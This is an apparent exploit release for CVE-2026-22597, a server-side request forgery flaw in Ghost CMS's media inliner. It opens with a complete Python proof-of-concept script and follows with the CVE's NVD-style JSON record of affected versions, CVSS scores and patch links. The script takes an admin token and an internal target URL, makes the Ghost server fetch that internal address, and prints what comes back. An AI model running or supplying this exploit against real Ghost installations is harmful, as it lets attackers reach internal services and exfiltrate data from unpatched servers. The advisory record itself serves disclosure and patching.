CVE-2026-22597

# CVE-2026-22597 PoC - Ghost CMS SSRF via Media Inliner # This PoC demonstrates how an authenticated staff user can exploit # the SSRF vulnerability in Ghost's media inliner mechanism import requests import json import sys def exploit_ghost_ssrf(ghost_url, admin_token, target_internal_url): """ Exploit SSRF in Ghost media inliner to access internal resources. Args: ghost_url: Base URL of Ghost instance admin_token: Valid Ghost Admin API token target_internal_url: Internal URL to target (e.g., http://127.0.0.1:8080/admin/api) Returns: Response data from internal service """ # Ghost Admin API endpoint for media inliner endpoint = f"{ghost_url}/ghost/api/admin/inliner/" headers = { "Authorization": f"Ghost {admin_token}", "Content-Type": "application/json" } # Payload exploiting SSRF in media inliner payload = { "url": target_internal_url, "type": "media" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) return { "status_code": response.status_code, "response": response.text, "target_url": target_internal_url } except requests.exceptions.RequestException as e: return {"error": str(e), "target_url": target_internal_url} def main(): if len(sys.argv) < 4: print("Usage: python cve-2026-22597.py <ghost_url> <admin_token> <target_url>") print("Example: python cve-2026-22597.py http://ghost.local:2368 <token> http://127.0.0.1:8080/internal/api") sys.exit(1) ghost_url = sys.argv[1] admin_token = sys.argv[2] target_url = sys.argv[3] print(f"[*] Targeting Ghost instance: {ghost_url}") print(f"[*] Exploiting SSRF to access: {target_url}") result = exploit_ghost_ssrf(ghost_url, admin_token, target_url) print(f"\n[+] Result: {json.dumps(result, indent=2)}") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-22597", "sourceIdentifier": "[email protected]", "published": "2026-01-10T03:15:50.860", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ghost is a Node.js content management system. In versions 5.38.0 through 5.130.5 and 6.0.0 through 6.10.3, a vulnerability in Ghost’s media inliner mechanism allows staff users in possession of a valid authentication token for the Ghost Admin API to exfiltrate data from internal systems via SSRF. This issue has been patched in versions 5.130.6 and 6.11.0."}, {"lang": "es", "value": "Ghost es un sistema de gestión de contenido Node.js. En las versiones 5.38.0 a 5.130.5 y 6.0.0 a 6.10.3, una vulnerabilidad en el mecanismo de incrustación de medios de Ghost permite a los usuarios del personal en posesión de un token de autenticación válido para la API de administración de Ghost exfiltrar datos de sistemas internos a través de SSRF. Este problema ha sido parcheado en las versiones 5.130.6 y 6.11.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ghost:ghost:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "5.38.0", "versionEndExcluding": "5.130.6", "matchCriteriaId": "54BE11DA-FEBF-4266-A8A2-2EFFC9E964F5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ghost:ghost:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.11.0", "matchCriteriaId": "9EC484AC-A1F0-4C13-BFAB-9DA57116957D"}]}]}], "references": [{"url": "https://github.com/TryGhost/Ghost/commit/15d49131ff4aac3aca8642501c793f01f2bfcbb9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/TryGhost/Ghost/commit/93add549ccf079d8e28bdb724fbb71a76942ff51", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/TryGhost/Ghost/security/advisories/GHSA-vmc4-9828-r48r", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}